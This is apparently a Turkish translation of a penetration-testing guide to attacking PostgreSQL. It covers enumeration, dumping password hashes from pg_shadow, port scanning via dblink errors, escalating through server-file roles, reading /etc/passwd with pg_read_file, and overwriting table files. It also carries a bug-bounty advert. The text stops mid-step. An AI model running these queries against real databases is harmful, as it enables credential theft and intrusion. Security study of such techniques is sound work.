PostgreSQL, açık kaynak bir nesne-ilişkisel veritabanı sistemi olarak tanımlanmaktadır. Bu sistem yalnızca SQL dilini kullanmakla kalmaz, aynı zamanda onu ek özelliklerle geliştirir. Yetenekleri, geniş bir veri türü ve işlem yelpazesini yönetmesine olanak tanır, bu da onu geliştiriciler ve organizasyonlar için çok yönlü bir seçim haline getirir.
Varsayılan port: 5432, ve bu port zaten kullanılıyorsa, postgresql'in kullanılmayan bir sonraki portu (muhtemelen 5433) kullanacağı görünmektedir.
PORT STATE SERVICE
5432/tcp open pgsql
Bağlanma ve Temel Enum
psql-U<myuser># Open psql console with userpsql-h<host>-U<username>-d<database># Remote connectionpsql-h<host>-p<port>-U<username>-W<password><database># Remote connection
psql -h localhost -d <database_name>-U <User> #Password will be prompted\list # List databases\c <database> # use the database\d # List tables\du+ # Get users roles# Get current userSELECT user;# Get current databaseSELECT current_catalog;# List schemasSELECT schema_name,schema_owner FROM information_schema.schemata;\dn+#List databasesSELECT datname FROM pg_database;#Read credentials (usernames + pwd hash)SELECT usename, passwd from pg_shadow;# Get languagesSELECT lanname,lanacl FROM pg_language;# Show installed extensionsSHOW rds.extensions;SELECT*FROM pg_extension;# Get history of commands executed\s
Eğer \list komutunu çalıştırdığınızda rdsadmin adında bir veritabanı bulursanız, bir AWS postgresql veritabanası içinde olduğunuzu bilirsiniz.
Daha fazla bilgi için PostgreSQL veritabanını nasıl kötüye kullanacağınız hakkında kontrol edin:
Otomatik Sayım
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
Bu araştırmaya göre, bir bağlantı denemesi başarısız olduğunda, dblink bir hata açıklaması içeren sqlclient_unable_to_establish_sqlconnection istisnası fırlatır. Bu ayrıntıların örnekleri aşağıda listelenmiştir.
DETAY: sunucuya bağlanılamadı: Host'a giden yol yok. Sunucu "1.2.3.4" adresinde çalışıyor mu ve 5678 numaralı portta TCP/IP bağlantılarını kabul ediyor mu?
Port kapalı
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
Port açık
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
ya da
DETAIL: FATAL: password authentication failed for user "name"
Port açık veya filtrelenmiş
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
In PL/pgSQL fonksiyonlarında, şu anda istisna ayrıntılarını elde etmek mümkün değildir. Ancak, PostgreSQL sunucusuna doğrudan erişiminiz varsa, gerekli bilgileri alabilirsiniz. Sistem tablolarından kullanıcı adları ve şifreleri çıkarmak mümkün değilse, önceki bölümde tartışılan kelime listesi saldırı yöntemini kullanmayı düşünebilirsiniz, çünkü bu olumlu sonuçlar verebilir.
Ayrıcalıkların Sayımı
Roller
İlginç Gruplar
Eğer pg_execute_server_program üyesiyseniz, programları çalıştırabilirsiniz
Eğer pg_read_server_files üyesiyseniz, dosyaları okuyabilirsiniz
Eğer pg_write_server_files üyesiyseniz, dosyaları yazabilirsiniz
Postgres'te bir kullanıcı, bir grup ve bir rolaynıdır. Bu sadece nasıl kullandığınıza ve giriş yapmasına izin verip vermediğinize bağlıdır.
# Get users roles\du#Get users roles & groups# r.rolpassword# r.rolconfig,SELECTr.rolname,r.rolsuper,r.rolinherit,r.rolcreaterole,r.rolcreatedb,r.rolcanlogin,r.rolbypassrls,r.rolconnlimit,r.rolvaliduntil,r.oid,ARRAY(SELECT b.rolnameFROM pg_catalog.pg_auth_members mJOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)WHERE m.member = r.oid) as memberof, r.rolreplicationFROM pg_catalog.pg_roles rORDER BY1;# Checkif current user is superiser## If response is"on"then true, if"off"then falseSELECT current_setting('is_superuser');# Trytogrant access to groups## For doing this you need to be adminon the role, superadmin or have CREATEROLE role (see next section)GRANT pg_execute_server_program TO"username";GRANT pg_read_server_files TO"username";GRANT pg_write_server_files TO"username";## You will probably get this error:## Cannot GRANTon the "pg_write_server_files"rolewithout being a member of the role.# Create new role (user) as member of a role (group)CREATEROLE u LOGINPASSWORD'lriohfugwebfdwrr'IN GROUP pg_read_server_files;## Common error## Cannot GRANTon the "pg_read_server_files"rolewithout being a member of the role.
Tablolar
# Get owners of tablesselect schemaname,tablename,tableowner from pg_tables;## Get tables where user isownerselect schemaname,tablename,tableowner from pg_tables WHERE tableowner ='postgres';# Get your permissions over tablesSELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;#Check users privileges over a table (pg_shadow on this example)## If nothing, you don't have any permissionSELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
Fonksiyonlar
# Interesting functions are inside pg_catalog\df * #Get all\df *pg_ls* #Getby substring\df+ pg_read_binary_file #Check who has access# Get all functions of a schema\df pg_catalog.*# Get all functions of a schema (pg_catalog in this case)SELECT routines.routine_name, parameters.data_type, parameters.ordinal_positionFROM information_schema.routinesLEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_nameWHERE routines.specific_schema='pg_catalog'ORDER BY routines.routine_name, parameters.ordinal_position;# Another aparent optionSELECT*FROM pg_proc;
Dosya sistemi eylemleri
Dizinleri ve dosyaları oku
Bu commitile tanımlanan DEFAULT_ROLE_READ_SERVER_FILES grubunun ( pg_read_server_files olarak adlandırılır) ve süper kullanıcıların herhangi bir yol üzerinde COPY yöntemini kullanabilirler ( genfile.c içindeki convert_and_check_filename'a bakın):
Dosya okumak veya bir dizini listelemek için kullanılabilecek başka postgres fonksiyonları vardır. Sadece süper kullanıcılar ve açık izinlere sahip kullanıcılar bunları kullanabilir:
# Before executing these functiongoto the postgres DB (notin the template1)\c postgres## If you don't do this, you might get "permission denied" error even if you have permissionselect * from pg_ls_dir('/tmp');select * from pg_read_file('/etc/passwd', 0, 1000000);select * from pg_read_binary_file('/etc/passwd');# Check who has permissions\df+ pg_ls_dir\df+ pg_read_file\df+ pg_read_binary_file# Try to grant permissionsGRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;# By default you can only access files in the datadirectorySHOW data_directory;# But if you are a member of the group pg_read_server_files# You can access any file, anywhereGRANT pg_read_server_files TO username;# Check CREATEROLE privilege escalation
COPY'nin yeni satır karakterlerini işleyemediğini unutmayın, bu nedenle bir base64 yükü kullanıyor olsanız bile tek satırlık bir komut göndermeniz gerekir.
Bu tekniğin çok önemli bir sınırlaması, copy'nin bazı ikili değerleri değiştirdiği için ikili dosyaları yazmak için kullanılamamasıdır.
İkili dosya yükleme
Ancak, büyük ikili dosyaları yüklemek için başka teknikler vardır:
Hata ödülü ipucu: Intigriti'ye kaydolun, hack'ler tarafından, hack'ler için oluşturulmuş premium bir hata ödülü platformu! Bugün https://go.intigriti.com/hacktricks adresine katılın ve $100,000'a kadar ödüller kazanmaya başlayın!
Yerel dosya yazma yoluyla PostgreSQL tablo verilerini güncelleme
PostgreSQL sunucu dosyalarını okuma ve yazma yetkisine sahipseniz, sunucudaki herhangi bir tabloyu ilişkili dosya düğümünüPostgreSQL veri dizinindeüst üste yazarak güncelleyebilirsiniz. Bu teknik hakkında daha fazla bilgiburada.
Gerekli adımlar:
PostgreSQL veri dizinini elde edin
SELECT setting FROM pg_settings WHEREname='data_directory';
Not: Ayarlardan mevcut veri dizini yolunu alamıyorsanız, SELECT version() sorgusu aracılığıyla ana PostgreSQL sürümünü sorgulayabilir ve yolu brute-force ile denemeye çalışabilirsiniz. PostgreSQL'in Unix kurulumlarındaki yaygın veri dizini yolları /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/ şeklindedir. Yaygın bir küme adı main'dir. 2. Hedef tablo ile ilişkili dosya düğümüne göre bir göreli yol elde edin